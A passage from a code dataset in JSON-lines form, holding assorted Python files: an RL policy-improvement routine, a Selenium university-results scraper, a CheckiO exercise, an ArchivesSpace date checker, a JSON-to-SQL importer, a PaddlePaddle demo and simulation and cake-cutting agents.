theta_to_pi, delta, batch_size=None):\n\tn = D_s[0].shape[0]\n\tk = (2 / np.sqrt(n)) * t.ppf(1 - delta, n - 1)\n\n\tdef _hcpe_closure(theta):\n\t\tpi_e = theta_to_pi(theta)\n\t\tJ_estimate, pdis_estimates = pdis_batch(D_c, pi_e, pi_b)\n\t\tsigma_c = pdis_estimates.std()\n\t\tif J_estimate < c + sigma_c * k:\n\t\t\treturn -np.inf\n\t\treturn J_estimate\n\t\n\treturn _hcpe_closure\n\n\ndef hcpe_cma(D_c, D_s, pi_b, c, theta_to_pi, delta, batch_size=None):\n\tn = D_s[0].shape[0]\n\tk = (2 / np.sqrt(n)) * t.ppf(1 - delta, n - 1)\n\n\tdef _hcpe_closure(theta):\n\t\tpi_e = theta_to_pi(theta)\n\t\tJ_estimate, pdis_estimates = pdis_batch(D_c, pi_e, pi_b, batch_size)\n\t\tsigma_c = pdis_estimates.std()\n\t\treturn -J_estimate - np.log(J_estimate - (c + sigma_c * k))\n\t\n\treturn _hcpe_closure\n","repo_name":"AdeelH/RL_high_confidence_policy_improvement","sub_path":"hcpi.py","file_name":"hcpi.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16514231742","text":"from selenium import webdriver\r\nfrom selenium.webdriver.support.select import Select\r\nimport pyautogui as p,openpyxl as xl,time\r\n\r\n\r\ndef fill(i):\r\n roll=w.find_element_by_id(\"ctl00_ContentPlaceHolder1_txtrollno\")\r\n roll.clear()\r\n roll.send_keys(sheet.cell(row=i, column=1).value)\r\n Select(w.find_element_by_id(\"ctl00_ContentPlaceHolder1_drpSemester\")).select_by_index(semester-1)\r\n # pic=p.screenshot(region=(816,568,250,70))\r\n # pic.save('try.png')\r\n # result = pytesseract.image_to_string(pic).upper().replace(\" \",\"\")\r\n text = w.find_element_by_id(\"ctl00_ContentPlaceHolder1_TextBox1\")\r\n text.clear()\r\n result=p.prompt('enter the captcha here').upper().replace(' ','')\r\n text.send_keys(result)\r\n w.find_element_by_id(\"ctl00_ContentPlaceHolder1_btnviewresult\").click()\r\n\r\n\r\ndef getdata():\r\n details=[]\r\n details.append(w.find_element_by_id(\"ctl00_ContentPlaceHolder1_lblNameGrading\").text)\r\n details.append(w.find_element_by_id(\"ctl00_ContentPlaceHolder1_lblProgramGrading\").text)\r\n details.append(w.find_element_by_id(\"ctl00_ContentPlaceHolder1_lblBranchGrading\").text)\r\n details.append(w.find_element_by_id(\"ctl00_ContentPlaceHolder1_lblSemesterGrading\").text)\r\n details.append(w.find_element_by_id(\"ctl00_ContentPlaceHolder1_lblSGPA\").text)\r\n details.append(w.find_element_by_id(\"ctl00_ContentPlaceHolder1_lblcgpa\").text)\r\n writedata(details)\r\n\r\ndef writedata(details):\r\n for j in range(2,sheet.max_column+1):\r\n sheet.cell(row=i,column=j).value=details[j-2]\r\n\r\n# pytesseract.pytesseract.tesseract_cmd = r\"C:\\Program Files (x86)\\Tesseract-OCR\\tesseract.exe\"\r\nw = webdriver.Chrome()\r\nw.maximize_window()\r\nw.get(\"http://result.rgpv.ac.in/Result/ProgramSelect.aspx\")\r\npath=p.prompt(\"Enter the Name of your excel sheet(With full path if not in same folder)\")\r\nsemester=int(p.prompt(\"Enter the semester here\"))\r\nwb=xl.load_workbook(path)\r\nsheet=wb.active\r\nprint('Your script is running...')\r\nsheet.cell(row=1,column=2).value='Name'\r\nsheet.cell(row=1,column=3).value='Course'\r\nsheet.cell(row=1,column=4).value='Branch'\r\nsheet.cell(row=1,column=5).value='Semester'\r\nsheet.cell(row=1,column=6).value='SGPA'\r\nsheet.cell(row=1,column=7).value='CGPA'\r\nprint('Excel sheet has been initialised...')\r\nw.find_element_by_id(\"radlstProgram_1\").click()\r\ni=2\r\nwhile(sheet.cell(row=i,column=1).value):\r\n fill(i)\r\n getdata() \r\n w.find_element_by_id(\"ctl00_ContentPlaceHolder1_btnReset\").click()\r\n i=i+1\r\nwb.save(path)\r\nprint('Task completed...')\r\nw.close()\r\n#selenium.common.exceptions.UnexpectedAlertPresentException","repo_name":"keshavsuman/RGPV-results-automation","sub_path":"RGPVresult.py","file_name":"RGPVresult.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13772484116","text":"def checkio(words: str) -> bool:\n words_list = words.split()\n words_in_succ = 0\n are_we_have_three_words = False\n for one_word in words_list:\n if one_word.isdigit() == False:\n words_in_succ += 1\n if words_in_succ >= 3:\n are_we_have_three_words = True\n else:\n words_in_succ = 0\n\n return are_we_have_three_words\n\n\n# These \"asserts\" using only for self-checking and not necessary for auto-testing\nif __name__ == '__main__':\n print('Example:')\n print(checkio(\"Hello World hello\"))\n\n assert checkio(\"Hello World hello\") == True, \"Hello\"\n assert checkio(\"He is 123 man\") == False, \"123 man\"\n assert checkio(\"1 2 3 4\") == False, \"Digits\"\n assert checkio(\"bla bla bla bla\") == True, \"Bla Bla\"\n assert checkio(\"Hi\") == False, \"Hi\"\n print(\"Coding complete? Click 'Check' to review your tests and earn cool rewards!\")\n","repo_name":"rcarmen-btc/py.checkio.org","sub_path":"Home/Three Words/mission.py","file_name":"mission.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30346165914","text":"import re\nfrom asnake.aspace import ASpace\n\naspace = ASpace()\nrepo = aspace.repositories(2)\n\nfor collection in repo.resources:\n print('====================')\n print(collection.id_0 + '\\t' + collection.title + '\\t' + collection.uri)\n for date in collection.dates:\n date_type = ''\n date_expression = ''\n date_begin = ''\n date_end = ''\n \n try:\n date_type = date.date_type\n date_expression = date.expression\n date_begin = date.begin\n date_end = date.end\n messages = []\n \n norm_string = ''\n if 'bulk' in date_type:\n norm_string += 'bulk '\n norm_string += date_begin\n if date_end:\n norm_string += '-' + date_end\n \n if re.match(r'^\\d{4}$', date_expression) and 'single' not in date_type:\n messages.append('single date expression without single date type')\n if re.match(r'^\\d{4}-\\d{4}$', date_expression) and 'single' in date_type:\n messages.append('range of dates with single date type')\n # if 'single' in date.date_type and '-' in date_expression:\n # messages.append('single date type doesn\\'t match expression')\n # if 'inclusive' in date.date_type and '-' not in date_expression:\n # messages.append('inclusive date type doesn\\'t match expression')\n if norm_string not in date_expression:\n messages.append('normalized dates might not match expression')\n except KeyError as e:\n print(e)\n # continue\n \n print(date_expression + '\\t' + date_type + '\\t' + date_begin + '\\t' + date_end + '\\t' + ';'.join(messages))\n print()\n","repo_name":"frenchrb/2019_ed_leave","sub_path":"date_cleanup/dates.py","file_name":"dates.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74127997956","text":"import argparse\nfrom testing.TestGenerator import TestGenerator\nfrom testing.agents.AgentTestGenerator import AgentTestGenerator\nfrom constants import NUM_CHUNKS\nfrom featnames import VALIDATION\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--byr', action='store_true')\n parser.add_argument('--slr', action='store_true')\n parser.add_argument('--num', type=int, default=1,\n choices=range(1, NUM_CHUNKS+1))\n parser.add_argument('--verbose', action='store_true')\n args = parser.parse_args()\n if args.byr or args.slr:\n assert not (args.slr and args.byr)\n gen = AgentTestGenerator(verbose=args.verbose,\n byr=args.byr,\n slr=args.slr)\n else:\n gen = TestGenerator(verbose=args.verbose)\n gen.process_chunk(part=VALIDATION, chunk=args.num-1)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"bpiv400/eBay","sub_path":"testing/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"21756181009","text":"#!/usr/bin/env python3\n\"\"\"This module contains the main importer class `SQLThemAll`.\"\"\"\n\nimport datetime\nimport logging\nimport sys\nimport traceback\nfrom collections.abc import Iterable\nfrom typing import Optional, Set, TypeVar\n\nimport alembic\nfrom sqlalchemy import (Boolean, Column, Date, Float, ForeignKey, Integer,\n MetaData, String, Table, create_engine)\nfrom sqlalchemy.engine import Engine\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy.sql import text\n\ntuple_or_set = TypeVar(\"tuple_or_set\", tuple, set)\n\n\ndef create_logger(name: str, loglevel: str = \"INFO\") -> logging.Logger:\n \"\"\"\n Initialises the default logger with given loglevel.\n\n Args:\n name (str): Name of the logger.\n loglevel (str): Log level to use (default \"INFO\").\n\n Returns:\n logger: The initialized logger.\n \"\"\"\n logger = logging.getLogger(name)\n logger.setLevel(loglevel)\n\n ch = logging.StreamHandler()\n ch.setLevel(loglevel)\n\n formatter = logging.Formatter(\n \"%(asctime)s - [%(name)s] - %(levelname)s - %(message)s\"\n )\n ch.setFormatter(formatter)\n\n logger.addHandler(ch)\n\n return logger\n\n\nclass SQLThemAll:\n \"\"\"\n Class that provides the creationion of relational Database schemata.\n\n from the structure of JSON as well as the import of the provided\n JSON data.\n\n Attributes:\n dburi (str): Database URI.\n root_table (str): The name of the table to import the JSON root.\n simple (bool): Create a simplified database schema.\n autocommit (bool): Open the database in autocommit mode.\n echo (bool): Echo the executed SQL statements.\n \"\"\"\n\n schema_changed: bool = False\n session = None\n loglevel: str = \"INFO\"\n progress: bool = True\n\n def __init__(\n self,\n dburl: str = \"sqlite://\",\n progress: bool = True,\n loglevel: str = \"INFO\",\n simple: bool = False,\n autocommit: bool = False,\n root_table=\"main\",\n echo: bool = False,\n ) -> None:\n \"\"\"\n The contructor for SQLThemAll class.\n\n Args:\n dburl (str): Database URI.\n progress (bool): Show import progress.\n loglevel (str): Set loglevel.\n Choice from \"ERROR\", \"WARNING\", \"INFO\", \"DEBUG\" (default \"INFO\").\n simple (bool): Create a simplified database schema.\n autocommit (bool): Open the database in autocommit mode.\n root_table (str): The name of the table to import the JSON root.\n echo (bool): Echo the executed SQL statements.\n \"\"\"\n self.dburl = dburl\n self.progress = progress\n self.loglevel = loglevel\n self._logger = create_logger(\"sqlthemall\", self.loglevel)\n self.echo = echo\n if self.echo:\n self.progress = False\n self.simple = simple\n self.autocommit = autocommit\n self.root_table = str(root_table).lower()\n\n self.engine: Engine = create_engine(self.dburl, echo=self.echo)\n self.connection = self.engine.connect()\n self.metadata = MetaData()\n self.metadata.reflect(\n self.engine, extend_existing=True, autoload_replace=True\n )\n self.base = automap_base(metadata=self.metadata)\n self.base.prepare(self.engine)\n self.classes = self.base.classes\n\n def create_many_to_one(self, name: str, current_table: Table) -> Table:\n \"\"\"\n Adds a many to one relationship to the schema.\n\n Args:\n name (str): New table name.\n current_table (Table): Current Table.\n\n Returns:\n Table: Newly created Table.\n \"\"\"\n self._logger.info(\"Creating table %s\", name)\n return Table(\n name,\n self.metadata,\n Column(\"_id\", Integer, primary_key=True),\n Column(\n current_table.name + \"_id\",\n ForeignKey(current_table.name + \"._id\"),\n ),\n extend_existing=True,\n )\n\n def create_many_to_many(self, name: str, current_table: Table) -> Table:\n \"\"\"\n Adds a many to many relationship to the schema.\n\n Args:\n name (str): New table name.\n current_table (Table): Current Table.\n\n Returns:\n Table: Newly created Table.\n \"\"\"\n self._logger.info(\"Creating table %s\", name)\n self._logger.info(\"Creating bridge %s - %s\", current_table.name, name)\n Table(\n \"bridge_\" + current_table.name + \"_\" + name,\n self.metadata,\n Column(\n current_table.name + \"_id\",\n ForeignKey(current_table.name + \"._id\"),\n ),\n Column(name + \"_id\", ForeignKey(name + \"._id\")),\n extend_existing=True,\n )\n return Table(\n name, self.metadata, Column(\"_id\", Integer, primary_key=True)\n )\n\n def create_one_to_one(self, name: str, current_table: Table) -> Table:\n \"\"\"\n Adds a one to one relationship to the schema.\n\n Args:\n name (str): New table name.\n current_table (Table): Current Table.\n\n Returns:\n Table: Newly created Table.\n \"\"\"\n self._logger.info(\"Creating table %s\", name)\n return Table(\n name,\n self.metadata,\n Column(\"_id\", Integer, primary_key=True),\n Column(\n current_table.name + \"_id\",\n ForeignKey(current_table.name + \"._id\"),\n ),\n extend_existing=True,\n )\n\n def create_one_to_many(self, name: str, current_table: Table) -> Table:\n \"\"\"\n Adds a one to many relationship to the schema.\n\n Args:\n name (str): New table name.\n current_table (Table): Current Table.\n\n Returns:\n Table: Newly created Table.\n \"\"\"\n self._logger.info(\"Creating table %s\", name)\n return Table(\n name,\n self.metadata,\n Column(\"_id\", Integer, primary_key=True),\n Column(\n current_table.name + \"_id\",\n ForeignKey(current_table.name + \"._id\"),\n ),\n extend_existing=True,\n )\n\n def create_schema(\n self, jsonobj: dict, root_table: str = \"\", simple: bool = False\n ) -> None:\n \"\"\"\n Creates table_schema from the structure of a given JSON object.\n\n Args:\n jsonobj (dict): jsonobj.\n root_table (str): Table name of the JSON object root.\n simple (bool): Create a simple database schema.\n \"\"\"\n if self.connection.closed:\n self.connection = self.engine.connect()\n self.metadata = MetaData()\n self.metadata.reflect(\n self.engine, extend_existing=True, autoload_replace=True\n )\n self.base = automap_base(metadata=self.metadata)\n self.base.prepare(self.engine)\n self.classes = self.base.classes\n if not root_table:\n root_table = self.root_table\n if not simple:\n simple = self.simple\n\n self.schema_changed = False\n\n if root_table not in self.metadata.tables:\n self.schema_changed = True\n current_table = Table(\n root_table,\n self.metadata,\n Column(\"_id\", Integer, primary_key=True),\n extend_existing=True,\n )\n current_table.create(self.engine)\n else:\n current_table = self.metadata.tables[root_table]\n\n def parse_dict(\n obj: dict,\n current_table: Table = current_table,\n simple: bool = simple,\n exclude_props: Optional[Set] = None,\n ) -> None:\n \"\"\"\n Creates table_schema from the structure of a given JSON object.\n\n Args:\n obj (dict): Object to parse.\n current_table (Table) : The current_table.\n simple (bool): Create a simple database schema.\n exclude_props : Column names to ignore\n \"\"\"\n if current_table.name in self.base.classes:\n cls = self.base.classes[current_table.name]\n props = set(cls.__dict__.keys())\n else:\n props = set()\n self._logger.debug(\"Forbinden col names: %s\", props)\n\n if obj.__class__ == dict:\n if \"_id\" in obj:\n obj[\"id\"] = obj.pop(\"_id\")\n for k, val in obj.items():\n k = k.lower()\n if k == \"\":\n continue\n if k in (c.name for c in current_table.columns):\n has_vals = (\n lambda v: isinstance(v, dict)\n and v\n and True\n or v.__class__ == list\n and any(v)\n or False\n )\n if val.__class__ in {dict, list} and has_vals(val):\n if k not in self.metadata.tables:\n self.schema_changed = True\n if not simple:\n tbl = self.create_many_to_one(\n name=k, current_table=current_table\n )\n tbl.create(self.engine)\n else:\n tbl = self.create_one_to_one(\n name=k, current_table=current_table\n )\n tbl.create(self.engine)\n else:\n tbl = self.metadata.tables[k]\n if val.__class__ == dict:\n parse_dict(\n obj=val,\n current_table=tbl,\n exclude_props=set(current_table.name),\n )\n else:\n for i in val:\n if i.__class__ == dict and i:\n parse_dict(\n obj=i,\n current_table=tbl,\n exclude_props=set(\n current_table.name\n ),\n )\n else:\n parse_dict(\n obj={\"value\": i},\n current_table=tbl,\n exclude_props=set(\n current_table.name\n ),\n )\n else:\n self._logger.debug(\n \"%s already exists in table %s\",\n k,\n current_table.name,\n )\n continue\n else:\n if k in props:\n self._logger.info(\"Excluded Prop: %s\", k)\n continue\n self.schema_changed = True\n col_types = {\n datetime.date: Date,\n str: String,\n bool: Boolean,\n int: Integer,\n float: Float,\n }\n if val.__class__ in col_types:\n current_table.append_column(\n Column(k, col_types[val.__class__]())\n )\n statement = (\n alembic.ddl.base.AddColumn(\n current_table.name,\n Column(k, col_types[val.__class__]()),\n )\n .compile()\n .__str__()\n )\n self.connection.execute(text(statement))\n self._logger.info(\n \"adding col %s to table %s\",\n k,\n current_table.name,\n )\n elif val.__class__ == dict:\n if k not in self.metadata.tables:\n if not simple:\n tbl = self.create_many_to_one(\n name=k, current_table=current_table\n )\n tbl.create(self.engine)\n else:\n tbl = self.create_one_to_one(\n name=k, current_table=current_table\n )\n tbl.create(self.engine)\n else:\n tbl = self.metadata.tables[k]\n parse_dict(\n obj=val,\n current_table=tbl,\n exclude_props=set(current_table.name),\n )\n\n elif val.__class__ == list:\n if val:\n if not [i for i in val if i]:\n continue\n val = [\n item.__class__ == dict\n and item\n or {\"value\": item}\n for item in val\n ]\n val = [i for i in val if i]\n for item in val:\n if k not in self.metadata.tables:\n self.schema_changed = True\n if not simple:\n tbl = self.create_many_to_many(\n name=k,\n current_table=current_table,\n )\n tbl.create(self.engine)\n else:\n tbl = self.create_one_to_many(\n name=k,\n current_table=current_table,\n )\n tbl.create(self.engine)\n else:\n tbl = self.metadata.tables[k]\n parse_dict(\n obj=item,\n current_table=tbl,\n exclude_props=set(current_table.name),\n )\n\n if jsonobj.__class__ == list:\n jsonobj = {self.root_table: jsonobj}\n parse_dict(obj=jsonobj)\n\n if self.schema_changed:\n self.metadata.create_all(self.engine)\n self.metadata.reflect(\n self.engine, extend_existing=True, autoload_replace=True\n )\n self.base = automap_base(metadata=self.metadata)\n self.base.prepare(self.engine)\n self.classes = self.base.classes\n self.schema_changed = False\n\n def insert_data_to_schema(self, jsonobj: dict) -> None:\n \"\"\"\n Inserts the given JSON object into the database creating.\n\n the schema if not availible.\n\n Args:\n jsonobj (dict): Object to parse.\n \"\"\"\n\n def make_relational_obj(\n name, objc, session: Session, skip_empty: bool = True\n ):\n \"\"\"\n Generates a relational object which is insertable from.\n\n a given JSON object.\n\n Args:\n name (str): Name of the table that will represent the object.\n objc (dict): Object to parse.\n session (Session): Session to use.\n skip_empty (bool): Skipts objects without any information.\n\n Returns:\n ormobject: Object defined by the object relational model.\n \"\"\"\n self._logger.debug(f\"Make relational object ({name}) from: {objc}\")\n name = name.lower()\n pre_ormobjc, collectiondict = {}, {}\n if objc.__class__ != dict:\n return None\n if \"_id\" in objc:\n objc[\"id\"] = objc.pop(\"_id\")\n for k, val in objc.items():\n if val is None or val == [] or val == {}:\n if skip_empty is True:\n continue\n k = k.lower()\n if isinstance(val, (dict, list)):\n if isinstance(val, dict):\n _collection = [\n i\n for i in [\n make_relational_obj(k, val, session=session)\n ]\n if i\n ]\n if _collection:\n collectiondict[k] = _collection\n elif isinstance(val, list):\n if val:\n # if True:\n val = [\n # (i.__class__ == dict or i is None)\n i.__class__ == dict and i or {\"value\": i}\n for i in val\n ]\n _collection = [\n j\n for j in [\n make_relational_obj(k, i, session=session)\n for i in val\n ]\n if j and j != {\"value\": None}\n ]\n if not _collection:\n continue\n collectiondict[k] = _collection\n else:\n pre_ormobjc[k] = val\n if not pre_ormobjc:\n return None\n if self.progress:\n sys.stdout.write(\".\")\n sys.stdout.flush()\n self._logger.debug(\"%s\", pre_ormobjc)\n if not self.simple:\n query = session.query(self.base.classes[name])\n in_session = query.filter_by(**pre_ormobjc).first()\n else:\n in_session = False\n\n if in_session:\n ormobjc = in_session\n if collectiondict:\n for k, val in collectiondict.items():\n if val:\n setattr(\n ormobjc,\n k.lower() + \"_collection\",\n val,\n )\n else:\n self._logger.debug(f\"pre_ormobjc: {pre_ormobjc}\")\n ormobjc = self.base.classes[name](**pre_ormobjc)\n self._logger.debug(f\"ormobjc: {ormobjc}\")\n\n if collectiondict:\n for k, val in collectiondict.items():\n setattr(\n ormobjc,\n k.lower() + \"_collection\",\n val,\n )\n\n if ormobjc:\n session.add(ormobjc)\n self._logger.debug(\"Adding %s to session\", name)\n else:\n return None\n\n return ormobjc\n\n if jsonobj.__class__ == list:\n jsonobj = {self.root_table: jsonobj}\n\n with Session(self.engine) as session:\n make_relational_obj(\n name=self.root_table, objc=jsonobj, session=session\n )\n if self.progress:\n sys.stdout.write(\"\\n\")\n try:\n session.commit()\n except Exception:\n traceback.print_exc()\n session.rollback()\n\n def import_json(self, jsonobj: dict) -> None:\n \"\"\"\n Inserts the given JSON object into the database creating.\n\n the schema if not availible.\n\n Args:\n jsonobj (dict): Object to parse.\n \"\"\"\n if not self.connection or self.connection.closed:\n self.connection = self.engine.connect()\n self.metadata = MetaData()\n self.metadata.reflect(\n self.engine, extend_existing=True, autoload_replace=True\n )\n self.base = automap_base(metadata=self.metadata)\n self.base.prepare(self.engine)\n self.classes = self.base.classes\n\n self.create_schema(jsonobj)\n self.insert_data_to_schema(jsonobj)\n\n def import_multi_json(self, jsonobjs: Iterable) -> None:\n \"\"\"\n Inserts Array of JSON objects into the database creating.\n\n the schema if not availible.\n\n Args:\n jsonobjs (Iterable): Object to parse.\n \"\"\"\n if not self.connection or self.connection.closed:\n self.connection = self.engine.connect()\n\n jsonobj = {self.root_table: jsonobjs}\n self.create_schema(jsonobj)\n self.insert_data_to_schema(jsonobj)\n","repo_name":"chriskipp/sqlthemall","sub_path":"sqlthemall/json_importer.py","file_name":"json_importer.py","file_ext":"py","file_size_in_byte":22386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1393254923","text":"import paddle\r\nfrom ssm.models.backbones import HRNet_W18\r\nfrom ssm.models.seg import OCRNet\r\nfrom ssm.models.cd import SiamOCRNet\r\nfrom ssm.datasets import RSDataset\r\nimport ssm.datasets.transforms as T\r\nfrom ssm.models.losses import MixedLoss, BCELoss, DiceLoss\r\nfrom ssm.core import train, predict\r\n\r\n# DEBUG\r\nimport cv2\r\n\r\n\r\n# model\r\nx1 = paddle.randn([2, 3, 256, 256])\r\nx2 = paddle.randn([2, 3, 256, 256])\r\nmodel = SiamOCRNet(num_classes=2, backbone=HRNet_W18(in_channels=3), \r\n backbone_indices=[0], siam=True, cat=True)\r\npred = model(x1, x2)\r\n# model = OCRNet(num_classes=2, backbone=HRNet_W18(in_channels=3), backbone_indices=[0])\r\n# pred = model(x1)\r\nprint(pred[0].shape)\r\n\r\n# data\r\ndef img2show(img):\r\n img = img.transpose([1, 2, 0]).astype(\"uint8\")\r\n img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\r\n return img\r\n\r\ntrain_transforms = [\r\n T.RandomHorizontalFlip(),\r\n T.RandomRotation(),\r\n T.Resize(target_size=(256, 256))\r\n]\r\ntrain_dataset = RSDataset(\r\n transforms=train_transforms,\r\n dataset_root='DataSet',\r\n num_classes=2,\r\n mode='train',\r\n # work='seg',\r\n work='cd',\r\n # file_path='DataSet/train_list.txt', # seg / block\r\n # file_path='DataSet/train_list_2.txt', # seg / big_map\r\n # file_path='DataSet/train_list_3.txt', # cd / block\r\n file_path='DataSet/train_list_4.txt', # cd / big_map\r\n separator=' ',\r\n # big_map=False\r\n big_map=True\r\n)\r\n\r\nval_transforms = [\r\n T.Resize(target_size=(256, 256))\r\n]\r\nval_dataset = RSDataset(\r\n transforms=val_transforms,\r\n dataset_root='DataSet',\r\n num_classes=2,\r\n mode='val',\r\n # work='seg',\r\n work='cd',\r\n # file_path='DataSet/train_list.txt', # seg / block\r\n # file_path='DataSet/train_list_2.txt', # seg / big_map\r\n file_path='DataSet/train_list_3.txt', # cd / block\r\n # file_path='DataSet/train_list_4.txt', # cd / big_map\r\n separator=' ',\r\n big_map=False\r\n # big_map=True\r\n)\r\n\r\ninfer_dataset = RSDataset(\r\n transforms=val_transforms,\r\n dataset_root='DataSet',\r\n num_classes=2,\r\n mode='infer',\r\n # work='seg',\r\n work='cd',\r\n # file_path='DataSet/train_list_i.txt', # seg / block\r\n file_path='DataSet/train_list_3_i.txt', # cd / block\r\n separator=' ',\r\n big_map=False\r\n # big_map=True\r\n)\r\n\r\n# display train datas\r\nlens = len(train_dataset)\r\nprint(f\"lens={lens}\")\r\n# for idx, data in enumerate(train_dataset):\r\n# if len(data) == 3:\r\n# img1, img2, lab = data\r\n# print(idx, img1.shape, img2.shape, lab.shape)\r\n# elif len(data) == 2:\r\n# img1, lab = data\r\n# img2 = None\r\n# print(idx, img1.shape, lab.shape)\r\n# # cv2.imshow(\"img1\", img2show(img1))\r\n# # if img2 is not None:\r\n# # cv2.imshow(\"img2\", img2show(img2))\r\n# # cv2.imshow(\"lab\", lab)\r\n# # cv2.waitKey(0)\r\n# # cv2.destroyAllWindows()\r\n\r\n# train\r\nlr = 3e-5\r\nepochs = 300\r\nbatch_size = 4\r\niters = epochs * len(train_dataset) // batch_size\r\n\r\noptimizer = paddle.optimizer.AdamW(lr, parameters=model.parameters())\r\nlosses = {}\r\nlosses[\"types\"] = [MixedLoss([BCELoss(), DiceLoss()], [1, 1])] * 2\r\nlosses[\"coef\"] = [1, 0.4]\r\n\r\ntrain(\r\n model=model,\r\n train_dataset=train_dataset,\r\n val_dataset=val_dataset,\r\n optimizer=optimizer,\r\n save_dir=\"output\",\r\n iters=iters,\r\n batch_size=batch_size,\r\n save_interval=iters // 5,\r\n log_iters=1,\r\n num_workers=0,\r\n losses=losses,\r\n use_vdl=True\r\n)\r\n\r\n# predict\r\npredict(\r\n model,\r\n \"output/best_model/model.pdparams\",\r\n infer_dataset\r\n)","repo_name":"3SPP/SS-Models","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"62"} +{"seq_id":"14069648505","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 14 15:43:31 2017\n\n@author: Théo\n\"\"\"\n\nfrom core.agents.agent import Agent\n\nfrom copy import copy\n\nclass Animal(Agent):\n \"\"\"\"\"\"\n \n def __init__(self):\n \"\"\"\"\"\"\n Agent.__init__(self)\n \n def giveBirth(self, status):\n \"\"\"Créer sur à la case appropriée un nouvel agent du type donné\"\"\"\n selection = copy(self._location.neighbours)\n choice = None\n for case in copy(selection):\n if case == None:\n selection.remove(case)\n elif not case.agent == None:\n selection.remove(case)\n choice = self.choose(selection)\n if not choice == None:\n choice.agent = status.AGENT_TYPE()\n status(choice.agent)\n \n def move(self, status=None):\n \"\"\"Déplace l'Animal à la location appropriée et applique à la case quittée le status donné\"\"\"\n case = self.choose([case for case in copy(self._location.neighbours) if not case == None], False)\n if not case == None and not case == self._location:\n print(case._loc)\n if not case.agent == None:\n self.react(case.agent, True)\n if case.agent == None:\n if status == None:\n self._location.agent = None\n else:\n agent = status.AGENT_TYPE()\n status(agent)\n self._location.agent = agent\n case.agent = self","repo_name":"trouveyre/simulator","sub_path":"core/agents/animal.py","file_name":"animal.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71013142919","text":"import piece as piece_mod #To avoid name clashes\nfrom fractions import Fraction\nimport random\nfrom copy import copy\nfrom itertools import combinations\nfrom debug import *\n\nclass Agent:\n\n agent_counter = 0\n\n def get_dominations(agents, pieces, residue):\n for p in pieces:\n if p.allocated != None:\n #Make it easier to reference an agent's allocated piece\n p.allocated.piece = p\n for a1 in agents:\n a1.dominations = set([])\n for a2 in agents:\n #Test if a1 dominates a2\n dominates = a1.get_value(a1.piece, count=False) >= a1.get_value(a2.piece, count=False) + a1.get_value(residue, count=False)\n if dominates:\n a1.dominations.add(a2)\n\n # TODO this is order 2^n. Is there a better way?\n def get_dominating_set(agents, pieces, residue):\n Agent.get_dominations(agents, pieces, residue)\n for n in range(len(agents)-1, 0, -1):\n possibilities = combinations(agents, n)\n for possibility in possibilities:\n dominators = possibility\n dominated = [a for a in agents if not a in dominators]\n good = True\n for d1 in dominators:\n for d2 in dominated:\n if not d2 in d1.dominations:\n good = False\n break\n if not good:\n break\n if good:\n return (dominators, dominated)\n\n return None\n\n def myrandom(x, percent_zeros=None):\n if percent_zeros != None and random.random() < percent_zeros:\n assert percent_zeros < 1\n return 0\n else:\n return random.random()\n\n\n '''\n Creates preference functions for valuing and trimming cake, which can appoximate any function of one argument 0 <= x <= 1.\n division_count gives the number of homogeneous segments to divide the cake into. A larger number better approximates the\n function. The default function to use is a wrapper of random.random() that takes x\n '''\n def set_adv_from_function(self, division_count, preference_function):\n division_values = {}\n #Generated evenly spaced values outputted from the function (random by default)\n for i in range(1,division_count+1):\n x = Fraction(i,division_count)\n division_values[x] = Fraction(preference_function(x))\n s = sum([ division_values[k] for k in division_values])\n if s == 0:\n return self.set_adv_from_function(division_count, preference_function)\n factor = division_count / s\n #Adjusted Division Values\n self.adv = {k: division_values[k]*factor for k in division_values}\n\n def value_up_to(self, x):\n assert type(x) == Fraction\n acc_value = Fraction(0)\n keys = sorted(list(self.adv.keys()))\n for i in range(len(keys)):\n left = 0 if i==0 else keys[i-1]\n right = x if x= 0\n assert len(piece.intervals) > 0\n\n keys = list(self.adv.keys())\n keys.sort()\n\n if count:\n self.trim_count += 1\n\n if len(piece.trims) > 0:\n return self.get_trim_of_value(piece.get_after_rightmost_trim(), desired_value, count=False)\n\n acc_value = Fraction(0)\n trim_at = Fraction(0)\n # target_value is the amount to trim OFF of the piece after the rightmost trim\n # We agreed that if we incremented trim_count, the get_value should not count\n target_value = self.get_value(piece, count=False) - desired_value\n if target_value < 0:\n return None\n for interval in piece.intervals:\n value_of_interval = self.value_up_to(interval.right) - self.value_up_to(interval.left)\n\n if acc_value + value_of_interval <= target_value:\n acc_value += value_of_interval\n trim_at = interval.right\n else:\n # acc_value + value_of_interval > target_value:\n ''' Start using preference divisions '''\n trim_at = interval.left\n\n for k in filter( lambda k: interval.left < k, keys ):\n #TODO don't use value_up_to, use the adv values\n if self.value_up_to(k) - self.value_up_to(trim_at) + acc_value <= target_value:\n acc_value += self.value_up_to(k) - self.value_up_to(trim_at)\n trim_at = k\n assert interval.left <= trim_at <= interval.right\n else:\n trim_at += (target_value - acc_value) / self.adv[k]\n assert interval.left <= trim_at <= interval.right\n break\n break\n\n assert any( [i.left <= trim_at <= i.right for i in piece.intervals] )\n\n ''' Because this trim may not be added to the piece, hash the value of a copied piece '''\n #TODO don't need a new 